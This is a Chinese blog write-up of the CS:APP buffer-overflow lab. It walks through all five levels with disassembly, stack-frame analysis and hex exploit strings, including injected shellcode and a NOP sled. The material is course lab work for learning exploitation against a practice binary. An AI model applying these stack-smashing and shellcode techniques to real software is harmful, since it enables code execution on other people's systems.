CSAPP-buflab

選項 參數(shù)
系統(tǒng)環(huán)境 Windows10 系統(tǒng)下 VMware 虛擬機 Ubuntu12.04 桌面版 32 位
原址鏈接 http://csapp.cs.cmu.edu/3e/labs.html
userid Wilfred
cookie 0x23a81b97

level0 Candle

首先進入 gdb調(diào)試,觀察到調(diào)用路徑為:

graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> test(test);
test --> getbuf(getbuf);
getbuf --> Gets(Gets);

其中 Gets 用于讀取字符串,getbuf 分配存儲空間并調(diào)用 Gets 讀取字符串,所以攻擊的目標為 getbuf 函數(shù)。

查看 getbuf 的反匯編代碼

08049262 <getbuf>:
 8049262:   55                      push   %ebp
 8049263:   89 e5                   mov    %esp,%ebp
 8049265:   83 ec 38                sub    $0x38,%esp
 8049268:   8d 45 d8                lea    -0x28(%ebp),%eax
 804926b:   89 04 24                mov    %eax,(%esp)
 804926e:   e8 bf f9 ff ff          call   8048c32 <Gets>
 8049273:   b8 01 00 00 00          mov    $0x1,%eax
 8049278:   c9                      leave  
 8049279:   c3                      ret

確定 buffer 的首地址為 -0x28(%ebp),而返回地址存放在 0x4(%ebp),兩者間隔 44 個字節(jié),同時返回地址占 4 個字節(jié)的空間,所以至少需要 48 個字節(jié)長度的字符。

構(gòu)造如下字符串(使用二進制碼表示,特殊字符無法顯示):

0/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to smoke 4 Bytes */
0b 8e 04 08

主義如果系統(tǒng)是小端法存儲,則多字節(jié)數(shù)據(jù)要倒著寫(博主虛擬機是小端法,所以這里返回地址倒著寫)。

嘗試運行,成功調(diào)用:

level1 Sparkler

該題與 level0 類似,不過調(diào)用的是 fizz 函數(shù),觀察反匯編代碼:

; fizz(int var1)
08048daf <fizz>:
 8048daf:   55                      push   %ebp
 8048db0:   89 e5                   mov    %esp,%ebp
 8048db2:   83 ec 18                sub    $0x18,%esp
 ; if (var1 == cookie)
 8048db5:   8b 45 08                mov    0x8(%ebp),%eax
 8048db8:   3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048dbe:   75 26                   jne    8048de6 <fizz+0x37>
 ;   __printf_chk(1, "Fizz!: You called fizz(0x%x)", var1)
 8048dc0:   89 44 24 08             mov    %eax,0x8(%esp)
 8048dc4:   c7 44 24 04 e0 a2 04    movl   $0x804a2e0,0x4(%esp)
 8048dcb:   08 
 8048dcc:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048dd3:   e8 b8 fb ff ff          call   8048990 <__printf_chk@plt>
 8048dd8:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048ddf:   e8 9c 04 00 00          call   8049280 <validate>
 8048de4:   eb 18                   jmp    8048dfe <fizz+0x4f>
 ; else
 ;   __printf_chk(1, "Misfire: You called fizz(0x%x)\n", var1)
 8048de6:   89 44 24 08             mov    %eax,0x8(%esp)
 8048dea:   c7 44 24 04 d4 a4 04    movl   $0x804a4d4,0x4(%esp)
 8048df1:   08 
 8048df2:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048df9:   e8 92 fb ff ff          call   8048990 <__printf_chk@plt>
 ; end if
 ; exit(0)
 8048dfe:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e05:   e8 c6 fa ff ff          call   80488d0 <exit@plt>

發(fā)現(xiàn) fizz 函數(shù)傳入了一個參數(shù),并且要求與 cookie 相同。

如果了解棧幀,就知道第一個參數(shù)的位置為 0x8(%ebp),構(gòu)造如下字符串:

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to fizz 4 Bytes */
af 8d 04 08

/* spaces 4 Bytes */
00 00 00 00

/* cookie 4 Bytes */
97 1b a8 23

切記,由于進入 fizz 是通過 returnebp 的值會加 4,所以 fizz0x8(%ebp) 對應(yīng) getbuf0xc(%ebp),需要填充被跳過的 4 個字節(jié)。

嘗試運行,成功通過:

level2 Firecracker

該題需要調(diào)用 bang 函數(shù),觀察反匯編代碼:

08048d52 <bang>:
 8048d52:   55                      push   %ebp
 8048d53:   89 e5                   mov    %esp,%ebp
 8048d55:   83 ec 18                sub    $0x18,%esp
 ; if (global_value == cookie)
 8048d58:   a1 0c d1 04 08          mov    0x804d10c,%eax
 8048d5d:   3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048d63:   75 26                   jne    8048d8b <bang+0x39>
 ;   true
 ;   __printf_chk(1, "Bang!: You set global_value to 0x%x\n", global_value)
 8048d65:   89 44 24 08             mov    %eax,0x8(%esp)
 8048d69:   c7 44 24 04 ac a4 04    movl   $0x804a4ac,0x4(%esp)
 8048d70:   08 
 8048d71:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d78:   e8 13 fc ff ff          call   8048990 <__printf_chk@plt>
 ;   validate(2)
 8048d7d:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048d84:   e8 f7 04 00 00          call   8049280 <validate>
 8048d89:   eb 18                   jmp    8048da3 <bang+0x51>
 ;   false
 ;   __printf_chk(1, "Misfire: global_value = 0x%x\n", global_value)
 8048d8b:   89 44 24 08             mov    %eax,0x8(%esp)
 8048d8f:   c7 44 24 04 c2 a2 04    movl   $0x804a2c2,0x4(%esp)
 8048d96:   08 
 8048d97:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d9e:   e8 ed fb ff ff          call   8048990 <__printf_chk@plt>
 ; end if
 8048da3:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048daa:   e8 21 fb ff ff          call   80488d0 <exit@plt>

發(fā)現(xiàn)代碼中判斷了全局變量的值是否為 cookie,而全局變量不存在于棧中,無法通過緩沖區(qū)溢出來覆寫它的值,只能通過注入代碼來實現(xiàn)。所以需要在字符串中構(gòu)造一個函數(shù),先通過 getbuf 函數(shù)返回至構(gòu)造的代碼,在構(gòu)造的代碼中返回至 bang 函數(shù)。

首先設(shè)計匯編代碼:

mov $0x23a81b97,%eax
mov $0x0804d10c,%ecx
mov %eax,(%ecx)
ret

cookie 存入 eax 寄存器,再將全局變量的地址存入 ecx 寄存器,通過間接尋址來更改其值然后返回。

使用 as 命令編譯成 .o 文件然后使用 objdump 命令獲得相應(yīng)的二進制編碼,之后構(gòu)造字符串:

/* my function 13 Bytes */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret */

/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* return address to my function 4 Bytes */
58 2f 68 55

/* return address to bang 4 Bytes */
52 8d 04 08

運行程序,成功通過:

level3 Dynamite

本題不再要求返回至其他的函數(shù),而是要求返回至應(yīng)當返回的地方(test中的下一條指令),但是要求返回至更改為 cookie,依舊需要注入代碼來實現(xiàn)。同時 test 中對棧幀進行了檢查,所以在返回至 test 時需要還原 ebp 寄存器的值。

gdb 中找到需要還原的值:

設(shè)計如下匯編代碼:

push $0x08048e50        # set return address
push $0x55682fb0        # restore ebp
mov $0x23a81b97,%eax    # return value (cookie)
leave
ret

由于 PUSH 指令存放的地址取決于 ebp,所以在設(shè)計字符串時不能將存放 ebp 的空間覆寫為其他值:

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 2f 68 55 /* push $0x55682fb0 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c9             /* leave */
c3             /* ret */

/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* set ebp 4 Bytes */
80 2f 68 55

/* return address to my function 4 Bytes */
58 2f 68 55

還原 ebp 的方法還有另外一種,見 level4。

運行程序,成功通過:

level4 Nitroglycerin

本題與 level3 類似,區(qū)別在于會執(zhí)行 5 次,而且每次調(diào)用的棧幀位置都會發(fā)生變化,同時要求只使用一份字符串來實現(xiàn)功能。

本題的調(diào)用路徑發(fā)生了一些變化:

graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> testn(testn);
testn --> getbufn(getbufn);
getbufn --> Gets(Gets);

其中 buffer 的空間擴大成了 512 個字節(jié),比原先多了 480 個字節(jié)。

由于只能使用一份字符串,所以每次返回至的位置是相同的,但是每次棧幀位置都會發(fā)生變化,所以我們要保證返回至的位置應(yīng)當是無效代碼,同時它應(yīng)當在我們需要執(zhí)行的代碼的前面(更小的地址)。

由于棧幀不固定,所以 ebp 并非確定的,需要通過 esp 來確定其值,首先觀察 testn 的反匯編代碼:

08048cce <testn>:
 8048cce:   55                      push   %ebp
 8048ccf:   89 e5                   mov    %esp,%ebp
 8048cd1:   53                      push   %ebx
 8048cd2:   83 ec 24                sub    $0x24,%esp

MOV 指令執(zhí)行完畢時 espebp 的值相等,之后執(zhí)行了一次 PUSHesp值減 4),再執(zhí)行 SUB 指令,所以 ebp = esp+0x28。

設(shè)計如下代碼:

lea 0x28(%esp),%ebp     # restore ebp
push $0x08048ce2        # set return address
mov $0x23a81b97,%eax    # return value (cookie)
ret

接下來需要確定跳轉(zhuǎn)的地方,即 getbuf 的返回地址。雖然 5 次調(diào)用的棧幀地址不同,但是多次執(zhí)行程序,每次都是相同的,所以可以確定跳轉(zhuǎn)的范圍:

次數(shù) ebp 的值 buffer 的首地址
1 0x55682f80 0x55682d78
2 0x55682f50 0x55682d48
3 0x55682f60 0x55682d58
4 0x55682f00 0x55682cf8
5 0x55682f40 0x55682d38

跳轉(zhuǎn)的安全范圍應(yīng)當是 buffer ~ ebp,而 buffer 最大為 0x55682d78,所以選擇跳轉(zhuǎn)至 0x55682d78 一定能落在惡意數(shù)據(jù)的范圍內(nèi)。

接下來確定填充的數(shù)據(jù),它應(yīng)當滿足以下兩個條件:

  1. 本身不會影響到程序的功能
  2. 指令長度應(yīng)當為 1 個字節(jié),以免跳轉(zhuǎn)至一條指令的中間部分導致錯誤

恰好 NOP 指令滿足以上條件,其值為 0x90。

設(shè)計如下字符串:

/* nop sleds 505 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90

/* my function 15 Bytes */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c3             /* ret  */

/* set ebp 4 Bytes */
00 00 00 00

/* set return address 4 Bytes */
78 2d 68 55

運行程序,成功通過:

至此,buflab 全部完成!

個人博客:https://wilfredshen.cn/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容